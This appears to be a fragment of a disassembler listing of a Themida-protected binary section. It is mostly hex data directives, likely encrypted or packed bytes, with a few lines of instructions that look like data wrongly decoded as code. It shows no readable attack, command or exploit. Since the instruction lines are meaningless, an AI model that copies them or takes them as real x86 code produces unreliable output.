		dd 3A330248h, 0CB7B4321h, 3895EC44h, 0B06057B4h, 0E6DD40ACh
		dd 7C15E54Ah, 3CC04A48h, 30C4B40Bh, 3F985450h, 0E4B02ECCh
		dd 0D20A0C01h, 0AA65E346h, 86EEC980h, 0EDAB7EF0h, 96D12616h
		dd 104C3800h, 0E43E31A4h, 0EB010577h, 1C12789h,	91E3559Ch
		dd 0C3418094h, 78B642F6h, 353025D2h, 7EEE2090h,	304B3CBCh
		dd 1FC7524h, 402FECBEh,	633BCEC1h, 862EC138h, 84123F9h
		dd 28429829h, 298CE281h, 6A7CC284h, 42B044CCh, 84984A95h
		dd 0C1D30C1h, 0C9FEEB50h, 0E1BC41Ah, 41BC4210h,	9C54F558h
		dd 0E60964E3h, 0BC05B30Ah, 8EB40424h, 2B888DC5h, 9E069006h
		dd 7DEC0138h, 0B920E8E1h, 7EB6F890h, 3903C900h,	0C07BD088h
		dd 841CB6EAh, 27B7E7h, 28A61C06h, 0C27F12h, 7E5D293Eh
		dd 0B75F17E7h, 2A801B50h, 84003459h, 0D923972Eh, 0C6B0E3E0h
		dd 39CD4900h, 1CD0ED93h, 0B14890BEh, 6DBB4300h,	0A3677812h
		dd 4104A4D3h, 1405A8D8h, 0BCD5CCE0h, 285A4B60h,	0CECDE503h
		dd 7C960E27h, 3452A10h,	60E67C0Ch, 6DEB58FCh, 524BDCE3h
		dd 0E62F3C20h, 14AA59C7h, 3A008C58h, 0D6E88642h, 814E5FDFh
		dd 0C21F5C00h, 205CCDDh, 1634492Ah, 6D62C107h, 3103C4F9h
		dd 0DFDC2090h, 8B37208Fh, 4266289h, 74E37379h, 2F40049Fh
		dd 0F601D8BCh, 5731B41Fh, 8DE7E066h, 45883869h,	0F55F0680h
		dd 0C981035h, 0C5A7A100h, 9ED20D6h, 5FF10906h, 0C046080Ah
		dd 754967EAh, 54C1130Ch, 2C58C8E9h, 784A2F2Dh, 2F898849h
		dd 0E6EF1441h, 0A880B733h, 0ECF687A3h, 0A902E3Fh, 0D892E913h
		dd 3F80E8A2h, 0DD875A2Ah, 0E363A906h, 20B03Ah, 5CE3435h
		dd 0E0A7DB33h, 3C05109h, 4DD4002Bh, 262C16AFh, 3808C527h
		dd 142578D0h, 0C89630E6h, 5CC139C1h, 0D8208406h, 4CA21C84h
		dd 18359718h, 80EDD8Bh,	0E00B3C82h, 0E7E12793h,	0B44E5050h
		dd 2189058Eh, 0C03BB90Ch, 24C7D954h, 3D594139h,	268300FCh
		dd 8A8CE5ABh, 0F6305080h, 0B4DE50BEh, 0CC9300C8h, 0EB27D6EAh
		dd 1541A65Fh, 0D5D8E03Ah, 0C0007048h, 6E2CE088h, 0FC3A6096h
		dd 0CA7B40F7h, 892FA401h, 736DC125h, 0F58B3081h, 74368401h
		dd 785FE9A8h, 0D242E023h, 22D89835h, 59667655h,	0C4CEC92h
		dd 58B25C73h, 1081751Ah, 0F3E05048h, 5CC9444Eh,	85BC9840h
		dd 0DC260EA3h, 4127B10Ah, 6044C6C1h, 94904892h,	2E17D891h
		dd 0D041BCCAh, 0BCA4B078h, 2424A44Ch, 3E8048BCh, 106631C1h
		dd 49C268A3h, 8C6C484Ah, 8F0FEC98h, 8091B3EAh, 139564BFh
		dd 384A5C39h, 56F062Eh,	8131B2EFh, 2E1E74h, 25F3D378h
		dd 0D858BE63h, 2C3AAF05h, 0CF86E375h, 67C9058h,	0BEF30924h
		dd 0A72F8077h, 0E3CCA22Ch, 3F546825h, 27501631h, 0C1740109h
		dd 3B0DE7h, 4EDDA591h, 3EC4D10Ch, 0A7C093F9h, 0AE1EE400h
		dd 901B0904h, 0C2285BD4h, 84F934E8h, 79E6D283h,	9C900257h
		dd 0CBBDA8FAh, 0CF08A060h, 0B39522F4h, 0D5A0090Ch, 1002048Dh
		dd 34E8C734h, 0CCBE02C0h, 0C4DB18BEh, 4C63C118h, 0B91928E1h
		dd 0DF5D30FCh, 0B5A792C0h, 0DBF9E901h, 0FE45E783h, 0B62A4981h
		dd 502C5F66h, 0FFE326D8h, 13DC98A8h, 0FB8A713h,	9EC3B420h
		dd 1025069Dh, 0E0A9215Fh, 0C4CDFB06h, 0A878C7A0h, 6107C5Ch
		dd 0CBC174C6h, 8B0018E4h, 0CC84687Bh, 9862EAE6h, 0D1D44EF4h
		dd 26080A8h, 0B008C65Ch, 1A840138h, 6BEB6819h, 888C4479h
		dd 1403E25Ch, 4F5FD441h, 80304F6Eh, 36A4E0B4h, 0D8819899h
		dd 70EBB88Dh, 0EDDE8D8h, 7E7643Ch, 1B229815h, 2CB4C248h
		dd 942CF8E3h, 12F21F42h, 426550B0h, 1496907Bh, 0A80918ACh
		dd 2F6C196Bh, 0C4918C45h, 9444873Bh, 0EF3C64B6h, 3A008CCCh
		dd 89A05C02h, 6B2403ECh, 5C24D0FDh, 852DD309h, 0AA805844h
		dd 3C922AC2h, 668B1F77h, 58025A81h, 4201A430h, 0AC264A44h
		dd 0F2213513h, 0FC257884h, 2678A205h, 0A8030964h, 383E97A5h
		dd 0E0CB15EBh, 0A81C34F4h, 4FD6C8ACh, 65CCC414h, 864ED830h
		dd 4AD3F8CCh, 0C2202392h, 0EAAA5012h, 858FA800h, 62CED04h
		dd 0D7E30340h, 119D19C6h, 0B988756Ch, 0A700F640h, 1A6747DBh
		dd 0A0E6133Ch, 1834F7E9h, 38C92DE3h, 243B3442h,	0F84484F1h
		dd 38B8C420h, 4BE3D098h, 0E9C887B4h, 0C02008F2h, 81224A5Eh
		dd 8086B2C0h, 0FD61A540h, 735FA2AFh, 32E4A0C6h,	57180306h
		dd 0A658E7DCh, 239A2800h, 1BB5596Dh, 9BF80107h,	89E7E3E6h
		dd 13D05377h, 5FD2B0E0h, 0C064C730h, 0F0BDE17Eh, 2DDCBEB4h
		dd 0FC0E089Ah, 2CCD6983h, 1368DEE0h, 1914C900h,	0EB8EF742h
		dd 67A00D6h, 2ECCBF10h,	2F045EA9h, 4E4C13Ah, 4127504h
		dd 1B092876h, 130CDC99h, 0F888A524h, 1C8295EBh,	38F6545Fh
		dd 6EBB9007h, 16E602E1h, 8F60803Eh, 0B1C0C35Fh,	34C13836h
		dd 28C09C6Ch, 0EFF90050h, 5FDCAE67h, 5163EBE3h,	885C36D0h
		dd 0EB5BB3C8h, 0B63C5AF0h, 0FB5FE1F8h, 80582C2Eh, 0C13BA5B1h
		dd 212F5B38h, 0C84B4214h, 0E900DF7Bh, 0D196D886h, 0BE933BE6h
		dd 0EC928048h, 0E1A7D681h, 2B44C514h, 0BFC20198h, 0AA7DC8FEh
		dd 2D4F3F0h, 1727585Bh
		dd 882B9A7h, 14803335h,	31E7D12Ah, 0D909FC9Ah, 2029E34Ah
		dd 70A9A45Ch, 549E3E2Bh, 0FCC0C302h, 98587D5Fh,	6190989Bh
		dd 0B12F12A5h, 0E2B02090h, 0CE282E79h, 906B0C5h, 8933E343h
		dd 0D92D1E40h, 0CB2A3A50h, 9909C98h, 14502331h,	0B6789213h
		dd 33E3FCE0h, 85A0FF69h, 60181127h, 78F334D4h, 0C1953078h
		dd 898B3320h, 2E48671Ch, 402709h, 0AF41538h, 1E9400E6h
		dd 1F5BA4B4h, 8F00EAE7h, 0AE22397Dh, 3ED140Fh, 56FDD7Eh
		dd 0E0005F18h, 0D154A5Ah, 0F35CDCFBh, 84100844h, 27940414h
		dd 0CD84E7D0h, 2D03A4D0h, 9D98745Eh, 17264A40h,	0FFC4E612h
		dd 605FFC82h, 905A1570h, 48EFF8CCh, 0C4494CE5h,	5F64E683h
		dd 0D6942000h, 0F6599E2Eh, 207163h, 0FDA7DEFh, 0FF90B4B2h
		dd 0C0267200h, 0FBB9A88Fh, 2C650F82h, 0B80CC495h, 0A5F2260h
		dd 24AC5004h, 0ED3B14ACh, 0ACB887C0h, 48616CF0h, 25FCCE78h
		dd 977A85E0h, 82B0A08Eh, 0D93AA0E0h, 12BD0BFCh,	53C93059h
		dd 5A7F0804h, 0A1C91830h, 5DAA0140h, 19A06559h,	0D0FEE86Bh
		dd 8A25C7Ah, 86A22041h,	2CD1C129h, 3E07660h, 35ED84EEh
		dd 495A3E6h, 0A850B9A8h, 5E008E0h, 0D6E30B61h, 5A38B040h
		dd 3F954103h, 0BF4E1C1h, 0CB9A548h, 0D61E90A2h,	0D39803h
		dd 0C08A39B0h, 0F0FB88C2h, 4D80E613h, 1BF2FC42h, 2379E0ABh
		dd 30404B2Dh, 43E7B630h, 0DE90C960h, 0FF01E305h, 0E0A23880h
		dd 43AC2B83h, 50002DF2h, 6EFAC20Ch, 0F434A87Ah,	5B1B0212h
		dd 7CEE5770h, 0C11204E6h, 0C02E30Dh, 403E33EFh,	13201664h
		dd 428E2C9h, 0EB4788h, 0CCAA90D1h, 8E2E0F9Dh, 0A88088C6h
		dd 255A5F89h, 4F815CB6h, 5939F31Eh, 91C9FC4h, 0FC817A43h
		dd 90497C59h, 98B51F30h, 7C5A2084h, 148B2890h, 0A2FA04E7h
		dd 0D29404B0h, 0C0852D29h, 9C6748Ch, 1478238Ch,	912C3480h
		dd 7700D3F7h, 0F95E1963h, 1EB65941h, 0C1ABBDE4h, 11C4B523h
		dd 0EF70807Bh, 5EB12822h, 0E20E0BFAh, 0C0E0E85Fh, 0AC980309h
		dd 4821CA20h, 0D1133C81h, 66D89829h, 0E88C494Ah, 8EE4B190h
		dd 13E4EAEBh, 0C084F8BEh, 0E368A133h, 30B24DFFh, 5F73C105h
		dd 90740110h, 6921B4E0h, 0ED8F8BE0h, 14E9A5A4h,	42C281Ah
		dd 17C4B723h, 0D58CF0h,	61F45288h, 5F4FE57Eh, 0A46F392Ch
		dd 0A764E281h, 58E002BCh, 5F2CB234h, 5FC83233h,	0D044DAE2h
		dd 612DCFEEh, 0E6EC601Eh, 5480B756h, 4E0CCC33h,	4B5F931Fh
		dd 0D71B60F0h, 0C1F8D622h, 2E45E330h, 0FC316C0Ah, 0C1F01214h
		dd 1AE6D692h, 8F44053Fh, 9FDEC01Bh, 44B808B3h, 721CC114h
		dd 30D40194h, 0FDD3D967h, 0E617F429h, 3F185F84h, 4174B0D9h
		dd 56C7898h, 742E5F94h,	0E6AC49h, 0AF485924h, 0A490951Fh
		dd 406B626h, 1A4BE62Dh,	7068B850h, 305F120Eh, 90B0970Bh
		dd 9046EC3Dh, 9690169Dh, 26D82C30h, 38A02558h, 5721BA8Ch
		dd 2C87343Fh, 622737EFh, 9B8802C0h, 9D3C51E7h, 8BA5CBh
		dd 0EEFCDC18h, 0D501AC98h, 0E7B0B113h, 8454F0BBh, 0D92CB4FCh
		dd 5F5E43A0h, 0FB778890h, 8B90B11Ch, 3C1A0880h,	3E89E37Bh
		dd 0DC2E5FAEh, 0B0E60B80h, 0F0D00829h, 3A5E00AEh, 64A314C5h
		dd 10718725h, 0C4B2FB01h, 0C5F3ECD9h, 33E3882Ch, 38388CBEh
		dd 7FC157E3h, 218C4567h, 0B91C0Ch, 0F8F01D0Eh, 5B5C04CAh
		dd 0B8FD63BAh, 0EB0F7B38h, 47596766h, 14414CC6h, 2DFB10E3h
		dd 98823648h, 0DC582FE6h, 0B38A8B00h, 0E372AD13h, 2876622Ch
		dd 2CC8F22Eh, 0DB25BF89h, 0D2D8118Fh, 27E046DEh, 2887EAE9h
		dd 0DFE820ECh, 6813BB77h, 3089345Bh, 0F0921C69h, 0D62C5FECh
		dd 42AF58F7h, 41E05C08h, 7049F3E6h, 6803B304h, 0F78906D5h
		dd 7C1EE236h, 0A91628h,	5CC38EE0h, 6C2CFF61h, 1B14BF2Ah
		dd 2CD20908h, 12085298h, 0B64AAC1h, 32818E60h, 0DC7B13A5h
		dd 67022346h, 0E355213Dh, 9684E807h, 58130173h,	3380D912h
		dd 6670D031h, 0E6BC1925h, 6FC1078Ch, 0A08E3A6Ch, 9D35FA7Dh
		dd 0BFADB10Eh, 39A581C6h, 387C1DC1h, 30EA16h, 3F0EE90Ch
		dd 0BD4C27DEh, 504F1AE0h, 91604520h, 0E632C2DFh, 28A87643h
		dd 6EDD20D4h, 8E1F5825h, 9C864B3Ch, 0AAE61FE4h,	70B92518h
		dd 13FC779Ch, 1CA6CD88h, 0C1334161h, 0C8167EB7h, 0AB879071h
		dd 13422892h, 78E0F24Fh, 0C5E463B5h, 0E61244E3h, 117886E3h
		dd 6CA5882Eh, 99402C48h, 78CB5F98h, 0C03AB749h,	6772EC4Ch
		dd 70CD085Ah, 6C2059F9h, 72800460h, 924844E7h, 753974D8h
		dd 90A92030h, 0A6202CE4h, 54B14D10h, 7BF0AC94h,	9608E610h
		dd 45A19317h, 40FB700Ch, 74C3B9D4h, 509826A9h, 1071AD10h
		dd 5F90D84Fh, 1753D720h, 0B09FE630h, 7975EF0h, 62D54290h
		dd 9C4B8B8h, 25F0261h, 128843F0h, 0C186C2A1h, 3F1DB8A4h
		dd 351C5C41h, 3FC8C5AAh, 12D300E4h, 79B7BBF9h, 0CD00EC49h
		dd 9666F6B6h, 3C1929h, 0BC4312D4h, 0A3F8D6B7h, 53CBF0E9h
		dd 755918C7h, 0C86F2B50h, 0A0E80168h, 86BE4EE3h, 1591D813h
		dd 74A39300h, 51F379Ch,	0B7D53E70h, 341D2Eh, 489FB11Eh
		dd 0B80671ACh, 0A58229A2h, 3C85F090h, 0F07C76FBh, 0D09900E2h
		dd 3D41FFB2h, 0F23AEED8h, 80053C73h, 18EFA9FDh,	126B97h
		dd 75A6E972h, 0F51102AFh, 0F398AF8h, 25007E37h,	0FB2C55F6h
		dd 38913BCh, 0ED100211h, 0D9D642C3h, 80E1D430h,	0C093C9h
		dd 159F453Ah, 52B87216h, 62035473h, 32198170h, 3F7003CCh
		dd 40EEEE8h, 91493CF7h,	33B43620h, 0FAB03972h, 7E38C0BFh
		dd 29016FD4h, 37119649h, 0A9F8E6ABh, 89E8C78Bh,	0E15A313h
		dd 91287078h, 31022433h, 3DADEEF0h, 0AA8090C8h,	20C561B8h
		dd 8008B119h, 91AEF0E8h, 0E68D7420h, 1E02F44Bh,	192938Ah
		dd 0EA9F3811h, 52B840E4h, 8CE97650h, 68ABE641h,	0E59B184Ah
		dd 0F158507Ch, 67918100h, 435B21F7h, 2BDF00B0h,	137006DBh
		dd 0B31F7A2Ah, 382F9Ch,	0B7AA4FD2h, 2018E220h, 0EB0F8CBDh
		dd 80F015FAh, 0E81961D3h, 5505017Bh, 0EA29CF8Eh, 0CA242013h
		dd 0B7E9B363h, 0F2C6E414h, 9FA50A10h, 7881850h,	8055FE10h
		dd 890F410Dh, 1E93AC00h, 56165AB4h, 29F50C3Fh, 0A25030D2h
		dd 0C62F9F19h, 360AFE8h, 0EDB774B3h, 0A2E2AAF9h, 999814D8h
		dd 1440D6A8h, 0A0979929h, 0ED71AED0h, 7EF612FCh, 4BA40062h
		dd 0E4C702FDh, 5B507EFAh, 5E0A8BA0h, 0A84E52D4h, 7A9DF140h
		dd 0CFB3050Eh, 5F414CFAh, 0D7B97CF0h, 0E07FA5C0h, 63F7CA0h
		dd 6858D804h, 4EC71BFBh, 70F0D7C1h, 7B310DEFh, 814943ADh
		dd 450B4E70h, 0A821E344h, 0C7E2330h, 216E2061h,	1E075A30h
		dd 0DF1C4E56h, 92FAAC30h, 7940C39Ch, 8A02E32Ch,	0EB7FC40h
		dd 383261A9h, 0DBABAC40h, 8C40E9A8h, 1835AAh, 7A88420Eh
		dd 0FAD4668Bh, 89871236h, 0AAA30A10h, 0BC09EAh,	7FB7ABF9h
		dd 0CA03481Eh, 859FAC0Eh, 7990121Dh, 7B80038Bh,	4162864Dh
		dd 26AB8811h, 95746056h, 2818D580h, 3805AE3h, 92604AE7h
		dd 0CAD0CEC7h, 403C9CF2h, 8B2A0CA4h, 4073386Eh,	2103E962h
		dd 0F4C9EBB3h, 0A656E1FFh, 0CA189Dh, 8FBBB549h,	3A00C2B0h
		dd 1025B3AFh, 0EBF080Ch, 895BF558h, 9280382Ah, 0E10800FAh
		dd 515396F8h, 0F375F0A4h, 0C08FD830h, 618B29AFh, 670718EDh
		dd 0C48AE0A5h, 6200249Ah, 4D82D1C6h, 7C858D28h,	0A94B0053h
		dd 805B51E2h, 3F7E7635h, 9C1A3700h, 0E5323B81h,	0FC060369h
		dd 0D78858C6h, 0C4A084E9h
		dd 7506329h, 4D00A3B4h,	0D20DEE4Ch, 0B07A4B52h,	0F0BD0BCCh
		dd 4787039Ch, 0E42951B5h, 598889DDh, 0AD50801Ch, 14D52EBh
		dd 0FA781704h, 25986E99h, 0A4302040h, 8C5AED38h, 18C53519h
		dd 23D0C45Ch, 20AC01DEh, 0AC21C240h, 934DBC50h,	0B8C0421h
		dd 80FB5CD3h, 0AA18DF00h, 20409260h, 26BCCF43h,	80CADBFh
		dd 4F01E1C7h, 0D056EECEh, 127329DCh, 4593339Fh,	404DBFF4h
		dd 0B7C40EC0h, 7348F0DAh, 0C1A98F84h, 0BC632018h, 0A84448h
		dd 52D725AEh, 2814A243h, 4EA3F100h, 0D1A4B727h,	486048D2h
		dd 39FEFC1Ah, 4705C40Fh, 8E4088F6h, 87CA00E7h, 0A9231DD6h
		dd 737800F8h, 52E5E235h, 242C83FCh, 0EE00A575h,	0DA173F06h
		dd 4C4F00A0h, 9B02A301h, 9E4C8029h, 2304820h, 2899EEE0h
		dd 1A18C6A5h, 109F7E18h, 7012404Ah, 0F326CC4Ch,	9009F471h
		dd 0C3B0201Dh, 0EE8637B7h, 468B24D7h, 9A35087Ch, 0F470D90Ah
		dd 81BF18Ch, 0C81F0014h, 5249A723h, 0EA029CCAh,	0C055B6BAh
		dd 545C69B0h, 0C3B89F00h, 0A06184A2h, 19818674h, 1F9878FBh
		dd 0FE3A5DBh, 712CA9A4h, 0BB0E5D21h, 20B7EB97h,	0F47D0D03h
		dd 18D018BCh, 0F33FE115h, 6431912Ch, 0C4FB3742h, 3AA0A470h
		dd 0A7037689h, 0A91B18DAh, 0C6F9290Fh, 0E2CA61A3h, 2E8444C9h
		dd 8018BF8Ch, 0B7D78008h, 5B0CC403h, 0BACBFB3Ah, 0B2BCC093h
		dd 146D5DCFh, 0E286094h, 81CD05A0h, 0C0B99CBEh,	979F8348h
		dd 907840h, 0B3511BA6h,	0ED9BF972h, 5D2AD201h, 0AAACCB17h
		dd 0C6EF6461h, 0E97A02B8h, 19601840h, 0D026CFFCh, 0F422C816h
		dd 291C69B0h, 4209BF5h,	258100A9h, 0A7EB1391h, 9F0B806Ah
		dd 1071D1B1h, 0A8ED6Ch,	4DE6AEDEh, 88306AFCh, 37243F06h
		dd 411F716h, 52EE2711h,	0F710894Fh, 9C8BF826h, 1589A601h
		dd 0B0481737h, 0AE8F3029h, 0FAE3C628h, 18A3F032h, 1208B78h
		dd 1B91B2B4h, 1EE5D048h, 455BE10h, 77687ACh, 0C86CF329h
		dd 93E0CCF9h, 0D83AD718h, 388F3318h, 0FD9F89FAh, 0D0205C61h
		dd 49000ADh, 564BE85Bh,	0D62E62BBh, 0C2096389h,	38148B59h
		dd 9A619F94h, 7BA41D2Ch, 11B30090h, 0C7FB6F59h,	70D5B1C0h
		dd 5C01B288h, 0AA340433h, 9BBCDC30h, 5A02A491h,	8150560Eh
		dd 0F51D208h, 54292830h, 249A8CFAh, 60CCDEE4h, 8AA48DF9h
		dd 0EC402224h, 0FEF31805h, 0BB20ACC3h, 207073FAh, 0D67E9E49h
		dd 7FC0B352h, 892CC807h, 0AB64DE11h, 54524888h,	84745053h
		dd 0B5CC44Ch, 3886B29Fh, 89A0F990h, 9C7F016Eh, 0D8D0520Ch
		dd 0F03D849Ch, 384420CAh, 7BE30BA8h, 0ED008D0Bh, 972F0D5h
		dd 3FF89404h, 0C091A7h,	3C36A66Eh, 3800B1F3h, 0B54F802Bh
		dd 4326D2EBh, 290638FBh, 3850F677h, 304837B0h, 40A28989h
		dd 91005867h, 3BED89Fh,	10F17FFFh, 86CF51C7h, 0A21F3019h
		dd 0A4C0C3E4h, 537FA83h, 40A103DEh, 0F0358A2Ch,	487D76D7h
		dd 0E4A2F2E2h, 0BD4A10C8h, 0C3707B02h, 402E6229h, 29CF1E4h
		dd 0FB99C1DFh, 94808FAAh, 3F55EE5Ch, 0CC51C074h, 0D78800BFh
		dd 0A9C437FBh, 0B0027789h, 0D440BBF8h, 1C78427Eh, 0FB2CA005h
		dd 0E0002DA8h, 9B4899E0h, 0EA7500B8h, 0E7243052h, 1810CEECh
		dd 3D26E363h, 996688E4h, 0E85B2A3Dh, 14D84724h,	5D295300h
		dd 314FB78h, 525C9EF2h,	41E0B411h, 4F549F31h, 0E512ABFCh
		dd 39000EB3h, 0E9AC75F9h, 23312E3Bh, 9D7C42B8h,	0E1339203h
		dd 0F0482653h, 0B7A300F9h, 4E06980h, 73F418DCh,	23AA09Ah
		dd 93680513h, 30C42011h, 0D4290802h, 704848D1h,	51B4077Bh
		dd 805F08ACh, 673A7D80h, 39D30E13h, 0D00AAC64h,	5161FC4Dh
		dd 1D107214h, 5B26EDE0h, 7A034099h, 1DA8674h, 8FE94318h
		dd 0E106B7BFh, 37084135h, 0E21442FFh, 0BEE0D4C0h, 52C24F00h
		dd 0E51BC02Ch, 80B44C0Fh, 4862A900h, 0EE2289CEh, 0AA4DD200h
		dd 55E6C4EAh, 0C4BF51C7h, 0C412D831h, 2090405Dh, 0D8D049FAh
		dd 0A9513118h, 0A700BC14h, 0FE37906Bh, 17E0BF36h, 102111A3h
		dd 0C453DC40h, 7B29A405h, 0AF9400FBh, 71CBCD9Fh, 1A3C2C99h
		dd 6310E27Fh, 8BD4D888h, 62073913h, 778028BCh, 923110FAh
		dd 0EA4B29D6h, 1EA02858h, 0A4354856h, 38DEE044h, 344CC818h
		dd 0BEFAE406h, 0E63DB0BDh, 0B4A270BBh, 0A0295CB0h, 3198C860h
		dd 7391D799h, 0A1AE0237h, 25C99F6Dh, 842BF742h,	0E1F3E084h
		dd 38CFF118h, 2F099EF8h, 7C2418F7h, 5FA80095h, 0C20A7B4h
		dd 34E194C0h, 6F043D0Ch, 33ECB35h, 9D05FCC1h, 0DB2AB700h
		dd 5960F0F0h, 0DDFAE710h, 0AAB0C05Ch, 0F31CA357h, 1337A800h
		dd 0B961BDA1h, 32062429h, 9EC26E4h, 1D82C785h, 0E869E06Fh
		dd 20190851h, 824C93F4h, 9EED0674h, 10E15C6Dh, 443755F6h
		dd 4CB08B90h, 529A60Ch,	2716004h, 3493AD6Eh, 0BC8058B4h
		dd 0BCCDFAECh, 4C6230D6h, 427CC4E7h, 0F8E300AAh, 2777A994h
		dd 220700EBh, 0D52598F1h, 0A20CA805h, 683B9A29h, 0B2423CA4h
		dd 50E58D18h, 4A04D7CCh, 0FDB75FD5h, 0A97DBCC0h, 1CDF00CDh
		dd 6B0B5453h, 41064384h, 6E24FB65h, 0F0D70090h,	86AA9B78h
		dd 1930FAF3h, 0D44ED977h, 764E98A2h, 0B878A3E3h, 0A054EB19h
		dd 5E03198h, 0F49FADEEh, 0BAA404BDh, 536CF462h,	9A8156Fh
		dd 0CAE812B3h, 6E94C23Ch, 6FFA1820h, 1C516C18h,	0C8B348h
		dd 0E830BC8Ch, 386095F0h, 4CFCF3C8h, 0E3405944h, 0A2C8C458h
		dd 195102B7h, 0A0E481C0h, 0A7EC6CDEh, 0D6971E4Ah, 1CA8263Dh
		dd 0C1FA0F1Ch, 548377A9h, 0D98071F1h, 5200C54Bh, 0ACB89740h
		dd 248778E1h, 5D03FB2h,	8E71C36Ch, 0AA3C76ECh, 8294C8E1h
		dd 529B0929h, 20D492C0h, 8490930Ch, 81085101h, 360293Ah
		dd 0C8AE8C42h, 40EC181Ch, 0C762C5EFh, 0BB71610h, 80A2EE06h
		dd 293FD300h, 642F1B37h, 91E80577h, 1F67A019h, 0CD1D9FAFh
		dd 74580AC9h, 0EB7654C4h, 7CFADF2Eh, 72993950h,	971425EEh
		dd 7C50C492h, 36D52918h, 81040F48h, 0D12868ACh,	73E00BE4h
		dd 7D2C4176h, 0AC4100CEh, 8C9C03B7h, 0CC3315h, 0ECBAC8E1h
		dd 3DEC174h, 61F8D91Dh,	20FEDFFBh, 20BEA496h, 0E54845Ch
		dd 63070137h, 9E9CDC3h,	0DDAAA290h, 2FD3A027h, 0A4EB05FCh
		dd 6C0028B3h, 0F11E94FFh, 0C60B9686h, 0A0A2F63Fh, 65AC683Ch
		dd 4EFA16E9h, 1E704267h, 8A03148Fh, 0CA36C020h,	0AA2D005Bh
		dd 70D1979Eh, 0E53CC3B7h, 19F10F54h, 1D590071h,	64F9E355h
		dd 0C3D210F5h, 11A3B3EFh, 0D1936C0h, 458E19C0h,	0E446F9D3h
		dd 5D10CFB6h, 1D90AE02h, 0D73E1880h, 0D03117EDh, 28DE10B2h
		dd 9015B7C4h, 70F02EB8h, 0E79803FBh, 5AC727D1h,	995B1808h
		dd 0E032EEDh, 1179A388h, 0D8E084E1h, 14EEC9h, 985351E0h
		dd 7006CF5Dh, 28AD6706h, 611E1Ch, 8E6CC39Dh, 0A84BBA63h
		dd 60FF3628h, 0D37D8800h, 62B9507Ah, 6FD83C9Ah,	55055C80h
		dd 180D1734h, 362ABB00h, 0D702B60Eh, 4CE518AAh,	0AF284113h
		dd 85E8C96Fh, 2C1F1736h, 18E63E0Ch, 0DF3C0297h,	0D8B198EDh
		dd 0F71088ACh, 76740DB0h, 0D2BFB500h, 90DB982Fh, 88D01D36h
		dd 0F9F8C38Dh, 10B90A5Ch, 57C04192h, 0DF7C20FDh, 1F397F05h
		dd 0E00CF7DAh, 289EB059h, 1945E48h, 0C9FD84Ah, 0F03F10A0h
		dd 18CE3093h, 0A0752D52h, 0D79B8C01h, 0F90A90BCh, 0AE0F77Fh
		dd 64F43490h, 0EC223416h, 0DF9E1032h, 0AB582461h, 4206D8Eh
		dd 30BE605Ah, 51EAA8DAh, 18384C50h, 38C1E5B0h, 925E49E6h
		dd 190EBCCh, 0D5E19E10h
		dd 0E322808Fh, 320DCD80h, 86300E7Ch, 28A6E0E5h,	0B9CA60FBh
		dd 51F28971h, 0AF60A760h, 0A07E901h, 24528A70h,	1B180608h
		dd 8871707Bh, 10EC1506h, 0FA862AAh, 6050286Eh, 4AA43620h
		dd 2E015E2Fh, 5DEE292Bh, 9E0F589h, 0FF1C036Fh, 2C8B2434h
		dd 4E95098h, 51E03A70h,	350068EEh, 58624442h, 7637625h
		dd 0E0C11A6Dh, 8D4D002h, 89790911h, 0CB015800h,	83240C8Bh
		dd 50041CC4h, 0F4AF7B8h, 0BFDEC3CFh, 48C0E90Ch,	81F42914h
		dd 40D5EB07h, 75D314DAh, 501A7B96h, 0C3871DEDh,	1C895C98h
		dd 0DDBE56A0h, 9140C00h, 3AC4CE81h, 570D011Ah, 0FA48CDBFh
		dd 1C7F024h, 0BBE93FC3h, 0F70A1D09h, 4DB3CCDEh,	8128580Eh
		dd 350E32C4h, 9D3E311Fh, 751DB243h, 5C40D02Ch, 0A83260C8h
		dd 0FFEE92E9h, 1BA305E2h, 82157BD1h, 81E3890Ah,	0D8FECh
		dd 0BDBA2414h, 0C267642h, 7E3BE955h, 0EB3C801Ch, 5EAC191Bh
		dd 9CF85B10h, 0C20CD102h, 8F284D42h, 525C1D9Ah,	693A81BAh
		dd 40EA8136h, 0A7B95170h, 41D82606h, 128D9F7h, 1D9B02B5h
		dd 194D6E9h, 0D9DFC15Ch, 0BE54F268h, 41FDA750h,	53891C03h
		dd 43B7D4D0h, 5EF318E1h, 8362D3CAh, 2507EBEh, 0E5FCC810h
		dd 0CDE14F54h, 0C55F3C0Eh, 8F5C00Ah, 3B076846h,	0A4D0BAE9h
		dd 1E38A45Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		lds	ecx, [edx-37C2577Dh]
		sub	[edx], ch
		mov	ecx, 30249843h
		lock mov word ptr [edi-3Bh], fs
		jo	short loc_4E5B0B
		cmp	eax, 95995DE4h
		ja	short loc_4E5AEC
		dec	ebx
; ---------------------------------------------------------------------------
		db 8Fh
		dd 417DE898h, 59CB3198h, 0C0303CFCh, 1C3FBE1Eh,	9671EF2h
; ---------------------------------------------------------------------------


loc_4E5AEC:				; CODE XREF: Themida_:004E5AD4j
		rcl	byte ptr [edx-1Eh], cl
		sub	cl, [eax+edx*4]
		mov	byte ptr [ebx-26h], 0C9h
		mov	al, ds:51582066h
		mov	ecx, esp
		adc	dword ptr [eax-3Fh], 55285642h
		mov	ebp, 11685C7Ch
		inc	ebp
		stosb


loc_4E5B0B:				; CODE XREF: Themida_:004E5ACDj
		mov	ecx, 0E9E88E30h
		vmwrite	eax, [esi+31h]
		inc	edi
		jmp	near ptr 2FE4C7A8h
; ---------------------------------------------------------------------------
		dw 1E88h
		dd 8C29D644h, 5A24E4C8h, 0BDC28129h, 602EBB94h,	854F1118h
		dd 0DA012856h, 8B0880FDh, 20D8921Ch, 2D3F3DE6h,	0D20A281Dh
		dd 0EC8E2E22h, 21854067h, 0E29CA0CFh, 7FFD515h,	0F0E7630h
		dd 49D9EACEh, 0A6E32FCAh, 0A93A81F6h, 86575911h, 433D1C2h
		dd 0B97B9D5Dh, 0A9E6BD26h, 0CB5E4C6h, 137F780Ah, 532B6880h
		dd 395E479Ch, 56B6F029h, 11E5970h, 7F0A5AD1h, 318691D7h
		dd 123A8BF0h, 2E28952h,	9576D0F8h, 7584A640h, 6FF38780h
		dd 0E1450646h, 2DB9461Dh, 3C0A7B31h, 915F5424h,	12489A08h
		dd 333B625Bh, 0B3DBD888h, 9AC78B0Dh, 54558689h,	48A67C5Dh
		dd 505FFD07h, 15106851h, 90594DFEh, 0F38F0217h,	0C8890F11h
		dd 0D1588B6Ch, 8B904E6h, 63C07060h, 3B3B4EF1h, 0C9036907h
